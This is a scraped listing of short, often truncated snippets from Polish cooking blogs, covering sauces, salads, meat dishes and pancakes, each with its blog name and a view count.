ostra, chilli łyżeczka oliwy   Przygotowanie: Fasolę, czosnek i pokrojona cebulę umieszczamy w blenderze i miksujemy.  Dodajemy oliwę, pietruszkę oraz przyprawy, jeszcze raz dokładnie mieszamy i mamy gotowy sos. Pychota

ChilliJemy
Zupa Meksykańska 218

drobną kostkę. Na rozgrzana patelnie wrzucamy mięso i kiedy się delikatnie zarumieni dorzucamy cebulę i dusimy ok 3 minut. Do dużego garnka wrzucamy odcedzoną kukurydzę, puszkę fasolki (z sosem własnym) oraz puszkę pomidorów. Wstawiamy na niewielkim ogniu pod przykryciem. Pomidory przed obraniem należy sparzyć i pokroić w kostkę. Dorzucić do warzyw w garnku, razem z pokrojoną drobno papryka oraz ziemniakami.Zalewamy

ChilliJemy
Placki ziemniaczane z cukrem 208

przywiezionych z ogródka mojej Mamy :) Takie zawsze sa lepsze od tych kupionych w sklepie :) Wiem też, że każdy ma swój sposób pochłaniania tych pyszności. Niektórzy jedzą je ze śmietaną, sosem grzybowym lub pieczarkowym, czy ketchupem. Mój ulubiony sposób na zniknięcie placków z talerza to ten z cukrem. Zdecydowanie ulubiony  Składniki: ok 1,5 kg ziemniaków 2-3 łyżki mąki

ChilliJemy
Kotlety ziołowe z indyka z duszoną marchewką i ziemniaczkami 195

kilka minut pod przykryciem. Kiedy marchewka zmięknie, a woda się zredukuje, dodajemy odrobinę soli i pieprzu. Rozrabiamy w 1/4 szklanki wody łyżkę mąki ziemniaczanej dodajemy do marchewki, aż sos zrobi się gęsty. Siekamy natkę pietruszki i posypujemy nią marchewkę oraz ziemniaki na talerzu podane razem z kotletami. Smacznego

ChilliJemy
Sałatka gruszkowa z serem pleśniowym na rukoli z sosem balsamicznym 208

kroimy połówki w plasterki. Oliwki kroimy na pół a ser pleśniowy w ósemki. Ser, oliwki oraz gruszkę wykładamy na rukolę. Do miseczki wlewamy ocet balsamiczny oraz miód. Mieszamy. Sosem skrapiamy składniki wyłożone na talerzu i pieprzymy świeżo zmielonym pieprzem. Smacznego

ChilliJemy
Tradycyjna Sałatka z tuńczyka 222

Jeżeli lubicie ryby, tuńczyka i sytość sałatki to z pewnością Wam posmakuje :) Zapraszam na tradycyjną sałatkę z tuńczyka. Składniki: puszka kukurydzy woreczek ryżu natka pietruszki cebula puszka tuńczyka w sosie własnym 30dag żółtego sera 2 łyżki śmietany pieprz, sól Przygotowanie: Ryż gotujemy w osolonej wodzie. Odcedzamy i odstawiamy do przestygnięcia. W międzyczasie odsączamy kukurydzę oraz tuńczyka. Wykładamy je do miseczki

ChilliJemy
Placki z kaszy manny z całą żurawiną i sokiem malinowym 182

szybciej niż są zrobione znikają z talerzy. Bardzo fajne i zdecydowanie nie potrzebują mąki :) Podobne już kiedyś widziałam u Pana Łukasza z o ile mnie pamięć nie myli pomarańczowym sosem lub dżemem. Polecam bardzo :) Składniki:  40dag kaszy manny błyskawicznej ok szklanka mleka otarta skórka z jednej pomarańczy + łyżeczka soku z pomarańczy 32g cukru waniliowego (duże opakowanie) łyżeczka proszku

ChilliJemy
Sałatka gyros 185

międzyczasie do miseczki wlewamy śmietankę i wyciskamy do niej przeciśnięty przez praskę obrany czosnek. Dodajemy do niego cukier, sól oraz pieprz do smaku. Kurczaka wykładamy na warzywa i polewamy sosem czosnkowym. Doprawiamy bazylią. Mieszamy i gotowe :) Pychota

ChilliJemy
Sos Czosnkowy 176

już zdążyliście zauważyć nie używam majonezu. Nie używam, bo nie lubię. Nie oznacza to, że nie robię mojego ukochanego sosu czosnkowego, który podawany może być do przekąsem, chipsów czy sałatek. Składniki: 300ml śmietany 18% 5-6 dużych ząbków czosnku sól, pieprz szczypta cukru   Przygotowanie: Śmietanę przelewamy do miseczki (czasem mieszam śmietanę z jogurtem naturalnym w stosunku 2:1). Czosnek

ChilliJemy
Surówka z pora, jabłka i marchewki do obiadu 230

Kolejna propozycja na surówkę idealną do obiadu :) Bardzo lubię ją w wersji do kurczaka, lub pieczeni i sosu. Robi się szybko i fajnie łączy smaki pora i słodkiego jabłka oraz marchewki. Składniki: 2 duże pory 2 średnie marchewki duże słodkie jabłko lub 2 mniejsze szczypta kwasku cytrynowego sól, pieprz 2-3 łyżki śmietany 12% lub jogurtu naturalnego  Przygotowanie: Pory

ChilliJemy
Kolorowa sałatka z wędzoną szynką i ziołową bruschettą i sosem balsamicznym 198

szynki wędzonej 100g sera feta ćwierć czerwonej papryki pół cebuli czerwonej ziarno słonecznika (według uznania) bagietka kostka masła z dużą zawartością tłuszczu 3-4 łyżki ziół prowansalskich Sos: 2 łyżki octu balsamicznego 2 łyżki miodu naturalnego łyżka oliwy sól pieprz świeżo zmielone suszone chilli     Przygotowanie: Warzywa myjemy. Paprykę kroimy w cienkie plasterki, pomidorki koktajlowe kroimy na pół, cebulę

ChilliJemy
Puszysty omlet z pomidorami, szynką i szczypiorkiem 184

oleju na patelni. Smażymy na niewielkim ogniu z każdej strony ( przy przewracaniu pomagamy sobie dużym talerzem, aby omlet się nie rozpadł) przez ok 5 minut. Możemy jeść z ulubionym sosem. Smacznego

ChilliJemy
Placki z białych szparagów i bakłażana 156

Placki lubię. Na słodko, wytrawnie, z sosami, mięsem, warzywami, cukrem... Jestem plackoholikiem i nie da się tego ukryć. Trzeba też przyznać, że to wdzięczne danie może mieć naprawdę wiele postaci i składników. Wy też spróbujcie połączyć ze soba swoje ulubione smaki i stworzyć coś fajnego, autorskiego :) Składniki: 500g białych szparagów bakłażan 3 łyżki natki pietruszki 2+1 łyżki szczypiorku

ChilliJemy
Keftedes, czyli kotlet mielony w cypryjskim stylu 260

nadmiaru tłuszczu. Wedle kuchni cypryjskiej podawać należy je z ryżem.. Ja jednak, jako, że ryżu nie cierpię, uprawiam potworne polaczkowe świętokradztwo i podaję je z frytkami oraz ostrym sosem chilli... smakują wybornie

Kuchenna Kontrrewolucya
Potrawka z piersi drobiowej (jak Stroganow) 190

gotowe danie. Kurczak nie wymaga długiego czasu duszenia do miękkości, jednak ze wszystkim dobrze jest potrzymać go na ogniu około pół godziny, a będzie rozpływał się w ustach. Sosu nie zagęszczam, ale jeśli ktoś woli zawiesiste dania, można je doprawić zasmażką. Podawać z ryżem, frytkami, pieczonymi ziemniakami... solo. Dla mnie - smaczny zawsze i wszędzie... byle nie za często

Kuchenna Kontrrewolucya
Zrazy schabowe z ananasem i rzeżuchą 189

zawijamy ściśle sznurkiem. Na dwóch łyżkach oleju podsmażamy zrazy z każdej strony, po czym przekładamy je do garnka/szybkowaru, zalewamy wodą na tyle, by przykryła mięso. Doprawiamy według uznania cały sos i dusimy do miękkości. Ziemniaki gotujemy w osolonej wodzie, dolewamy doń mleko i rozgniatamy tłuczkiem. Na koniec dorzucamy zioła i dokładnie całość mieszamy. Smacznego

Kuchenna Kontrrewolucya
"Czułe" mięsne ciastko jałowcowe 183

odpowiedniej wielkości naczynia. Dokładnie sklejone ciastka smarujemy białkiem i wstawiamy na przedostatni poziom nagrzanego do 200 stopni piekarnika. Pieczemy około 40 minut i podajemy ciepłe, posypane szczypiorkiem, najlepiej z sosem cygańskim lub pomidorowym

Kuchenna Kontrrewolucya
Pierś gęsia pieczona w piwie 177

folię kładziemy gęsinę i polewamy ją szklanką jasnego piwa, po czym zawijamy górę folią i zamykamy naczynie. Pieczemy około 1,5 godzin w temperaturze 200 stopni, podlewając powstałym sosem. Po tym czasie obniżamy temperaturę do 180 stopni. Odkrywamy naczynie i folię. Podpiekamy pierś z góry jeszcze około kwadransu, do pół godziny, by skórka się zarumieniła. Mięso nie jest suche, jest

Kuchenna Kontrrewolucya
Pieczona pierś kurczaka z oscypkiem 262

czas ten może się wydłużyć lub skrócić, jednak ser powinien się lekko roztopić, a mięso przyrumienić. Ja podaję z frytkami oraz surówką z pomidorów i ogórków z koperkiem, w sosie winegret. Eksperyment niezwykle udany, polecam

Kuchenna Kontrrewolucya
Kurakowa płast - placki jajeczne 135

jest zbyt rzadkie, dodajemy odrobinę pszennej mąki. Smażymy, układając masę łyżką stołową na rozgrzany tłuszczu. Muszę przyznać, że choć brzmi ciekawie, bardziej, niż w samotności, polecam podawać je z sosem czosnkowym, a jeszcze lepiej, jako dodatek do mięsa

Kuchenna Kontrrewolucya
"Polędwiczki" kurczęce z akcentem herbacianym 148

kubek np. 3 torebek) W takiej formie, zamknięte w naczyniu, dusimy wszystko w piekarniku w 180 stopniach przez około pół godziny. Smak herbaty jest delikatnie wyczuwalny, jednak nie nachalny. Sos można zagęścić podsmażoną na maśle mąką i polać nim całe danie. Ja podaję je z frytkami i moją ulubioną surówką. Potrawa gościła dziś u nas po raz pierwszy, ale pewna

Kuchenna Kontrrewolucya
Prosta zapiekanka ziemniaczana 176

Przesmażamy, doprawiając przyprawą warzywną i pieprzem. W rondelku podgrzewamy dwie łyżki masła i podprażamy na nim mąkę. Następnie dodajemy zimną wodę i dokładnie mieszając czekamy, aż wszystko zgęstnieje. Biały sos mączny łączymy z mięsem mielonym, doprawiamy do smaku według uznania i dusimy jeszcze kilka minut. Na warstwę cebuli ułożonej w naczyniu żaroodpornym układamy warstwę mięsną. Następnie znowu plasterki ziemniaków

Kuchenna Kontrrewolucya
Kurczak kontrrewolucyjny 170

leżakowaniu, ja piekę go nałożonego na butelkę od piwa, wstawionego w naczynie żaroodporne wypełnione szklanką wody w 180 stopniach przez około półtorej godziny, co jakiś czas polewając mięso powstałym sosem. Po upieczeniu można swobodne polewać nim również ziemniaki, jest przepyszny

Kuchenna Kontrrewolucya
Zupa z suszonych grzybów z soją 210

wodą z moczenia grzybów oraz soją i gotujemy całość do miękkości ziaren. Cebulę szklimy w rondelku na dwóch łyżkach masła. Dorzucamy do niej drugą część grzybów oraz łyżeczkę ciemnego sosu sojowego. Przesmażamy kilka minut, po czym dorzucamy do nich starte na dużych oczkach warzywa. Następnie jeszcze kilka minut smażymy i całość przekładamy do płynu z miękką soją i grzybami. Doprowadzamy

Kuchenna Kontrrewolucya
Pierś kurczaka z ananasem w sosie cebulowym 172

Gotową zalewamy mięso w naczyniu, a na każdym kawałku układamy plaster ananasa. Zamknięte wstawiamy do piekarnika nagrzanego do 180 stopni i zapiekamy przez około 40 minut. Piersi podajemy polane sosem z plastrem ananasa. Najlepiej smakują z frytkami i surówką z kapusty

Kuchenna Kontrrewolucya
Tradycyjny schab ze śliwką 239

stopni i pieczemy do miękkości mięsa (około godziny). W czasie pieczenia należy mięso w naczyniu kilka razy przewrócić. Podajemy pokrojone w plastry na półmisku, przykładowo z ulubionym sosem i surówką o raz frytkami

Kuchenna Kontrrewolucya
Rolada z piersi indyczej z serem, pieczarkami i papryką 221

stopni i umieszczamy w nim naczynie z mięsem. Pieczemy w folii przez 45 minut. Następnie z góry odwijamy folię i dopiekamy dwa kwadranse polewając co jakiś czas roladę powstałym sosem

Kuchenna Kontrrewolucya
Bziała kiełbasa w piwzie 226

maśle, po czym dorzucamy do piwa i kiełbasy. Całość gotujemy około dziesięciu minut na małym ogniu, pod przykryciem. Kiełbasę wyjmujemy na talerze, posypujemy tartym serem i podajemy na ciepło. Sos można również przetrzeć przez sito lub zmiksować i doprawić śmietaną wymieszaną z mąką. Smacznego

Kuchenna Kontrrewolucya
Kaczka po mazursku 242

czasie mięso układamy na blasze lub w kamionkowym naczyniu i pieczemy w 180 stopniach przez około godzinę, do uzyskania rumianej skórki. W czasie pieczenia, mięso należy polewać sosem powstałym z wytopionego tłuszczyku. Podajemy z ulubioną surówką i pieczonymi ziemniakami lub żurawiną

Kuchenna Kontrrewolucya
Polędwiczki wieprzowe w glazurze ananasowo-imbirowej 217

strony i pieczemy ok. 25-30 minut. Po tym czasie przekręcamy polędwiczki na drugą stronę, również smarujemy pozostałą glazurą i pieczemy ponownie ok. 25 minut. Podajemy gorące, polane powstałym sosem z kawałkami ananasa i frytkami

Kuchenna Kontrrewolucya
Pełnozirniste calzone z pieczarkami i papryką 170

Cebulę kroimy w cienkie piórka. Gdy ciasto wyrośnie, dzielimy je na 4 w miarę równe części. Każdą z nich rozwałkowujemy na dość cienki placek (ok. 3mm grubości), który smarujemy sosem z pomidorowej passaty, pozostawiając przynajmniej  1 cm wolnego miejsca na cieście (do sklejenia). Na połowie ciasta wysypujemy składniki farszu (niezbyt grubo). Najpierw cebulę, następnie podsmażone pieczarki, paprykę oraz

Kuchenna Kontrrewolucya
Przedwieczny posiłek a'la Lovecraft, czyli wpis z przymrużeniem oka ;) FHTAGN! 160

się rozpuści. Na talerz wykładamy kolejno: glony (szpinak) i dzieci Cthulhu (makaron z parówkami), a całość posypujemy mrocznymi muszlami zagłady i zielonym groszkiem. Tak oto powstaje makaron z sosem szpinakowym, w wersji "co morze wyrzuciło na brzeg". ;) Podawać szybko, a jeść jeszcze szybciej, zanim posiłek wydostanie się z talerzy

Kuchenna Kontrrewolucya
Łosoś norweski w letniej marynacie, grillowany w papilotach z liści klonu 177

woda odparuje, najlepiej na niezbyt wielkim żarze, by dokładnie zmiękła, a by nie było potrzeby ciągłego uzupełniania płynu. Do tego surówka ze świeżego, zielonego ogórka i pomidorów przyprawionych sosem vinegret... Niebo w gębie

Kuchenna Kontrrewolucya
Kiełbaski z mięsa mielonego na grilla 188

kotleciki i układamy je na patelni grillowej. Grillujemy na niewielkim żarze, aż kiełbaski zaczną puszczać sok, a w środku nie będą surowe. Podajemy z frytkami lub świeżym pieczywem i sosami (polecam czosnkowy). Świetna alternatywa dla tradycyjnych kiełbasek

Kuchenna Kontrrewolucya
Kurczak prawie-cajun z pikantnymi ziemniakami 227

Najlepszy! Mięciutki i lekko pikantny. Do tego paprykowe, również ostre pieczone ziemniaczki, a dla złamania smaku, jako dodatek - pomidory z sosem winegret. Mieszanka przypraw nie do końca jest idealnie pasująca do "cajun", dlatego nazwałam ją "prawie". ;) 2 nogi kurczaka (podzielone na połowy) 150g łagodnego keczupu 2 ząbki czosnku 600g młodych ziemniaków mieszanka przypraw do mięsa: 2 łyżki słodkiej papryki

Kuchenna Kontrrewolucya
Kotlet z piersi kurczaka z serem i ananasem 445

zrumienienia. Ser w środku powinien dobrze się roztopić, a panierka być chrupiąca. Podajemy z ułożonym na nich ananasem, z frytkami oraz sałatką ze świeżego ogórka i pomidora z sosem winegret

Kuchenna Kontrrewolucya
Szynka wieprzowa zapiekana z warzywami w sakiewce z ciasta (a'la kleftiko) 193

góry i z dołu. Podajemy z sezonową surówką i zimnym napojem. Chrupiące i ciekawie wyglądające danie, które z pewnością zrobi furorę na przyjęciach. ;) Z sakiewkami, polecam podawać w sosjerce sos czosnkowy. Powinien nadać daniu bardziej wyrazisty smak

Kuchenna Kontrrewolucya
Kaczka w korzennej marynacie, pieczona w miodzie pitnym 207

stopni piekarnika. Po dwóch kwadransach odwijamy folię z góry, zalewamy mięso szklanką miodu pitnego i pieczemy jeszcze około godziny, do półtorej. W tym czasie należy mięso często polewać powstałym sosem. Gotową kaczkę podajemy na ciepło lub zimno, z konfiturą z czerwonych borówek lub żurawiny

Kuchenna Kontrrewolucya
Siļķe Kažokā - łotewska sałatka śledziowa "śledź w mundurku" 220

warzyw. Przykrywamy go ostatnią warstwą buraków, marchwi i ziemniaków i ładnie uklepujemy. W miseczce łączymy ze sobą majonez, śmietanę i chrzan, dorzucając do nich połowę posiekanego pęczka szczypiorku. Doprawiamy sos do smaku cukrem, solą oraz odrobiną pieprzu i smarujemy nim dość obficie górkę warzywno-śledziową, którą ułożyliśmy na talerzu. Jajko drobno siekamy i posypujemy nim górę sałatki. Przystawkę zwieńczamy ozdobami

Kuchenna Kontrrewolucya
Łopatka wieprzowa zapiekana z ziemniakami 199

ilość tłuszczyku, który świetnie się zapieka. W moim dzisiejszym przepisie nie ma wielu składników, bo takie obiady ostatnio smakują nam najlepiej. Całości dopełnia surówka z pomidorów z dymką, w sosie winegret. :) 0,5kg mięsa z łopatki 0,5kg ziemniaków 1 duża cebula 1 łyżka pieprzu cytrynowego 1 łyżeczka tymianku 1 łyżka papryki słodkiej w proszku 1 łyżka soli morskiej

Kuchenna Kontrrewolucya
Golonka indycza pieczona w ogórkach kiszonych 247

stopni. Wierzch naczynia z mięsem przykrywamy folią aluminiową. Wstawiamy je do nagrzanego piekarnika i pieczemy około 40 minut. Po tym czasie zdejmujemy folię i podlewamy golonki powstałym sosem. Zapiekamy kolejnych 40 minut pod folią, co jakiś czas podlewając mięso. Podajemy gorące, na sałacie lodowej z surówką z rzodkiewki oraz ziemniakami pure

Kuchenna Kontrrewolucya
Bułgarska kjufteta 214

sznycelek, który serwuje się tak w domu z patelni, jak i z grilla, a obydwie formy są bardzo proste i smaczne. Najlepiej smakują podane z chłodnikiem przypominającym nieco grecki sos tzatziki - bułgarskim taratorem. :) kjufteta: 300g mielonej goleni wołowej 200g mielonej łopatki wieprzowej 0,5 dużej czerwonej papryki 1 duża cebula kilka gałązek świeżej pietruszki 0,5 łyżeczki mielonego kminku czubek

Kuchenna Kontrrewolucya
Bułgarska kebabczeta z grilla 204

także na patelni, ale z doświadczenia wiem, że nie będą tak pyszne, jak te okadzone grillowym dymem. Podajemy z sałatką z sałaty lodowej, papryki, kukurydzy i oliwek w sosie winegret oraz ajwarem

Kuchenna Kontrrewolucya
Perska zielona potrawka mięsna z selerem naciowym 187

razem czas na "potrawkę z dzika w miętowym sosie" rodem z Asterixa w Brytanii. ;) Jest to oczywiście żart, bo ta konkretna potrawa, w przeciwieństwie do kreskówkowej, jest naprawdę smaczna i nie zawiera w sobie dziczyzny. Kolor jednak i pływające w niej mięso kojarzą mi się nieodzownie z dzieciństwem i skrzywioną miną Obeliksa na jej widok. :) Serdecznie zachęcam do spróbowania

Kuchenna Kontrrewolucya
Desery na lato 209

bananem i miodem Semifreddo jagodowo-truskawkowe Sorbet bananowo-truskawkowy z owocowym crunchy Sorbet truskawkowy Śliwkowe ciasto z chrupiącymi płatkami migdałów Truskawkowy koktajl na maślance Truskawkowe semifreddo z jagodami i sosem owocowym podane z malinami Kasza kuskus z bananem, pomarańczą, żurawiną i granatem

Moja smaczna kuchnia
KEBAB PO GRECKU Z KURCZAKIEM I WARZYWAMI 379

greckie kebaby, na które recepturę podaję poniżej. Kuchnia grecka jest nie tylko kolorowa, ale też zdrowa i naprawdę smaczna. Polecam wypróbować na najbliższej biesiadzie przy grillu. Kebaby podałam z sosem czosnkowym: przepis . :) Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach i na naszym Facebooku (oczywiście podpiszemy Twoje

Przepisy Aleksandry
Kotlet drobiowy zapiekany. 276

tymianek i rozmaryn (po 4 gałązki ) 2-3 łyżki oliwy z oliwek 1-2 jajka bułka tarta masło klarowane do smażenia przyprawy: sól, pieprz, vegeta, przyprawa maggi  lub sos sojowy WYKONANIE: przygotowujemy marynatę z przypraw, ziół i oliwy z oliwek, filet kroimy na skos, delikatnie rozbijamy,smarujemy marynatą i nakłuwamy, odstawiamy do lodówki na minimum 2 godz.  nadmiar

Kuchnia Beaty
Wątróbka w sosie własnym i kluski śląskie 419

Często przyrządzam wątróbkę. Tym razem przygotowałam duszoną w sosie własnym z znanymi polskimi kluskami śląskimi. Palce lizać! 500 g wątróbki drobiowej 4 cebule 1 łyżeczka ostrej wędzonej papryki Piątnica  (tu kupisz) 1 łyżka suszonej marchewki Piątnica  (tu kupisz) 1 łyżeczka słodkiej papryki 1 bulionetka do duszonego mięsa 2 łyżeczki koncentratu pomidorowego 1 łyżeczka przyprawy warzywnej Rafex

VioletoweKucharzenie
Papryka faszerowana kurczakiem, quinoa i groszkiem 185

Papryka faszerowana to moje ulubione danie z dzieciństwa. Dzisiaj w troszkę innej odsłonie, zdrowszej – z komosą ryżową, kurczakiem i groszkiem w sosie pomidorowym. Zapraszam. Do przygotowania 10 porcji (połówek papryk) potrzebujemy

Szybko Tanio Smacznie
Cukier różany 241

Tobą przepisem na cudowny, aromatyczny cukier różany, który w  kilka chwil przypomni ci tą wspaniałą porę roku, gdy za oknem będzie już szaro i buro. Idealny do deserów, sosów i słodkich wypieków. Jego przygotowanie nie wymaga nie wiadomo jakich umiejętności a efekt końcowy wprowadzi Cię w zachwyt. Domowy cukier różany Składniki: 1 szklanka płatków dzikiej róży 2 szklanki cukru

Wielki apetyt
Dżem truskawkowy, Trattoria Al Forno 245

naprawdę mało czasu. O Trattori kiedyś pisałam tutaj. Na zdjęciach: olbrzymie calzone, a właściwie jego połowa (pieróg z ciasta drożdżowego w wersji wegetariańskiej: nadziewany warzywami i mozzarellą), penne w sosie pomidorowym i smażone banany. Bardzo smacznie i duże porcje. Strawberry jam If you use gelling sugar, all the vitamins and taste will have been preserved and the preparation time will

Qlinarnie i Qlinarnie
Maki w kolorze zieleni i pomarańczy 166

ogórkiem lub tofu. Wczoraj postanowiłam dodać trochę koloru i zrobiłam sushi z marchewką, czosnkiem i selerem. Wyszło obłędnie pyszne! Sushi będzie jeszcze lepsze jeśli zjecie je z odrobiną sosu sojowego lub wasabi. Czasem zamiast

wegetalerze
Pieczone nuggetsy w płatkach kukurydzianych 416

Zdrowe i lekkostrawne, bo pieczone bez dodatku tłuszczu.  Podałam je z pieczonymi młodymi ziemniaczkami (przepis wkrótce pojawi się na blogu), sałatką z pomidorkami i słonecznikiem oraz pysznym, lekkim sosem jogurtowo-czosnkowym. Serdecznie polecam! Składniki : 1 podwójna pierś  z kurczaka (ok. 0,5 kg)  2 szklanki pokruszonych płatków kukurydzianych pół szklanki mleka/jogurtu jajko 1/2 łyżeczki ostrej papryki

Kuchnia Ellie
Kopytka 190

znudzą Ci się ziemniaki, to proponuję kopytka – pasują doskonale do pieczeni, najlepiej z dobrym, pieczeniowym sosem … Potrzebujemy : ok. 1 kg ugotowanych ziemniaków 1 jajko 200 g mąki pszennej Ugotowane i wystudzone ziemniaki dokładnie dusimy (przeciskamy przez praskę, lub mielimy maszynką) – staramy się zrobić to bardzo dokładnie, aby nie zostały żadne grudki. Dodajemy mąkę i 1 jajko. Jeśli

Ugotuj to sam ...
Śródziemnomorska sałatka z grillowaną ośmiornicą! 283

składniki. Na wierzchu wyeksponuj ser feta jak i gorące kawałki ośmiornicy.  W wysokim kubku umieść zioła i oliwę z oliwek, dodaj sól,  następnie zmiksuj blenderem. Sałatkę polej sosem i oprósz otartą skórką z limonki!  Pyszne! Smacznego! Pięknego Dnia

SMYKWKUCHNI
Koszyczki z ciasta francuskiego z pieczarkami, papryką i kurczakiem 295

niego kratkę. Zapiekamy przez kolejne 10 minut na złoto. Smacznego! Wierzch posypać tartym żółtym serem i zapiekać przez kolejne 10 minut na złoto. Podawać dowolnie z dodatkiem np.  sosu beszamelowego (klik).  Smacznego

Salonik smaków
Pasta do chleba z tuńczykiem i kremowym serkiem 176

połączeniu z kremowym serkiem z pesto i rukolą tworzą bardzo smaczną parę. Przygotowanie takiej pasty nie zajmuje więcej niż 30 minut. Składniki 1 puszka tuńczyka w kawałkach w sosie własnym 1 opakowanie kremowego serka Arla Apetina z pesto i rukolą kilka suszonych pomidorów 1/2 cebuli sól pieprz świeżo mielony Tuńczyka odsączamy z zalewy i przekładamy do miski. Rozgniatamy widelcem. Dodajemy

My Chcemy Jeść
Naleśniki z farszem a'la ryba po grecku 255

potrawy jak te naleśniki. Wprawdzie nie ma w nich rybki ale same warzywa jako farsz sprawdziły się również doskonale. Ja swoje polałam keczupem ale wyobrażam je sobie z dodatkiem sosu czosnkowego:) Składniki na 6 sztuk: Naleśniki - nie podaję konkretnego przepisu, ponieważ na pewno każdy z nas ma swoją ulubioną, sprawdzoną recepturę na ich przyrządzanie. A ja swoje robię zazwyczaj

My simple kitchen
Wyróżnienia. I pierogi z dynią, orzechami i cebulką 196

foody? Zdecydowanie nie :) I to wcale nie z powodów kalorycznych czy zdrowotnych. Po prostu tego typu dania najzwyczajniej mi nie smakują. Wyjątkiem jest tutaj pizza, najlepiej z dużą ilością sosu pomidorowego :) 4. Wolisz kawę czy herbatę? Trudne pytanie :) I kawę i herbatę piję w hurtowych ilościach i nie wyobrażam sobie dnia bez jednego czy drugiego trunku :) Jeśli kawa - to obowiązkowo

My simple kitchen
Piersi z kurczaka pod kremową kołderką 1555

wytwarzany jest dwutlenek węgla. To jemu też ser zawdzięcza swój wyjątkowy smak. Aldamer Mońki doskonale nadaje się zarówno do przygotowania szybkiej przekąski w postaci kanapek, jak i do zapiekanek, sosów czy dań bardziej wyszukanych. Porcja dla 2osób Składniki: 2 filety z kurczaka 7-8 średnich pieczarek majonez keczup 4 plasterki żółtego sera sól, pieprz, słodka papryka W pierwszej kolejności przygotowujemy

My simple kitchen
Pikantne serowe paluchy 207

temperatura także podskoczyła na miarę tych czerwcowych. Aż ma się ochotę na piwko;) A do piwka polecam te super proste i szybkie paluchy serowe:) Do tego keczup lub ulubiony sos i let's the weekend beginn ;D Uwaga! 30 czerwca następuję likwidacja Google reader. Dlatego już teraz serdecznie zapraszam do śledzenia mojego bloga poprzez Bloglovin :) Inspirację znalazłam tutaj ( klik ) Składniki

My simple kitchen
Makaron z pomidorkami koktajlowymi i serem feta - obiad w 20 minut 210

puściły sok ale jeszcze się nie rozpadły. Wówczas dodajemy ugotowany makaron. Na końcu dodajemy pokruszony ser feta i smażymy dopóki ser lekko się nie rozpuści i nie zagęści odrobinę "sosu", który się wytworzył. Całość doprawiamy według uznania (u mnie sól, pieprz, zioła prowansalskie, bazylia) a wierzch posypujemy zieleniną (ja dałam koperek

My simple kitchen
Domowy krem toffi 188

powstały krem przechowujemy do tygodnia w lodówce. Choć mogę się założyć, że pewnie tyle nie dotrwa...;) P.S. Po podgrzaniu krem nabiera rzadszej konsystencji, więc może posłużyć także jako sos, np do lodów czy bitej śmietany :) Dzisiaj na spokojnie

My simple kitchen
Pieczone gruszki 209

zapiekamy, aż będą miękkie (około 15 - 20 minut). W międzyczasie rumienimy na patelni płatki migdałowe na złoty kolor. Ciepłe gruszki przed podaniem napełniamy bitą śmietaną, posypujemy płatkami i polewamy sosem

My simple kitchen
Sałatka warstwowa z tuńczykiem 424

gustu naszym gościom. Trochę obwiałam się połączenia ananasa z tuńczykiem, ale całość wyszła pyszna :) Przepis na sałatkę znalazłam już kilka lat temu tutaj ( klik ) Składniki: 2 puszki tuńczyka w sosie własnym 1 puszka ananasa 2-3 małe pory 1 słoik selera konserwowego 1 puszka kukurydzy 20-30 dag żółtego sera 3-4 jajka ugotowane na twardo majonez (kilka łyżek) Jajka

My simple kitchen
Czerwcowe Wyzwanie Blogerek - Tosty francuskie z sosem truskawkowym 198

jeśli miałby to być chleb z cukrem :) Dlatego dzisiaj moje śniadanie jest raczej skromne, ale dla mnie bardzo zadowalające. Tosty francuskie z cynamonem, posypane cukrem pudrem i podane z sosem truskawkowym:)  Dla mnie kawa, dla niego herbata :) Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

My simple kitchen
Kurczak w słodko-ostrej marynacie 195

godzin. Następnie wyjmujemy mięso i wkładamy do naczynia żaroodpornego, strząsając nadmiar marynaty. Kurczaka pieczemy w temperaturze 180 stopni przez godzinę od czasu do czasu podlewając go powstałym w naczyniu sosem.  Źródło: ( klik

My simple kitchen
Placki warzywne z kiełbasą 151

kostkę kiełbasę i posiekamy koperek. Dokładnie ze sobą mieszamy. Na rozgrzaną patelnie kładziemy po łyżce masy i smażymy z obu stron na złoto-brązowy kolor. Podajemy z keczupem lub sosem czosnkowym

My simple kitchen
Spaghetti z cukinią i papryką 192

całość oprószamy mąką. Mieszamy aż potrawka się zagęści i zdejmujemy z ognia. Wówczas dodajemy śmietanę (możemy z niej zrezygnować) i mieszamy. Makaron gotujemy w osolonej wodzie i dodajemy do sosu. Przekładamy na talerze i posypujemy startym serem

My simple kitchen
Jesienne placki 186

popisu jeśli chodzi o smażenie placków. Jakichkolwiek warzyw byśmy nie użyli - zawsze wyjdzie pysznie. Drugą zaletą takiego dania jest ich wielowymiarowość. Można je podać solo lub z dowolnymi dodatkami - sosem czosnkowym, gulaszem czy pieczarkami :) Tym razem  głównym składnikiem moich placków stały się same słoneczne warzywa - marchewka, dynia i ziemniaki :)  Składniki: 500 g dyni 5 średnich ziemniaków 1 cebula

My simple kitchen
Kotlety z gotowanych ziemniaków 289

Całe szczęście, że u mnie na obiad prawie zawsze musi być ciepły posiłek, zatem nie miałam specjalnego dylematu co przygotować. Padło na placki z gotowanych ziemniaków, które podałam z sosem pieczarkowym. Było pysznie :) Składniki: 1 kg ugotowanych ziemniaków 1 cebula 3 łyżki mąki 1 jajko sól, pieprz bułka tarta Cebulę obrać, pokroić w kostkę i zeszklić na oleju na złoty

My simple kitchen
Roladki z karkówki z powidłami 194

Dusimy na średnim ogniu aż mięso zmięknie (około pół godziny). Wyjmujemy mięso i wyciągamy z niego wykałaczki lub odwijamy nitki. Śmietanę mieszamy z mąką i wlewamy do wywaru mięsnego. Sos powinien nabrać kremowej konsystencji. W razie potrzeby rozrzedzić wodą lub dodatkowo zagęścić mąką. Doprawić do smaku solą i pieprzem

My simple kitchen
Klopsiki a'la gołąbki 247

oleju na złoto ze wszystkich stron. Podlewamy przecierem lub pomidorami pelatti. Doprawiamy solą, czarnym pieprzem oraz ziołami prowansalskimi. Dusimy pod przykryciem około 15 minut.  Klopsiki serwujemy z powstałym sosem pomidorowym

Pyry na Gaz
Parówki w cieście drożdżowym 255

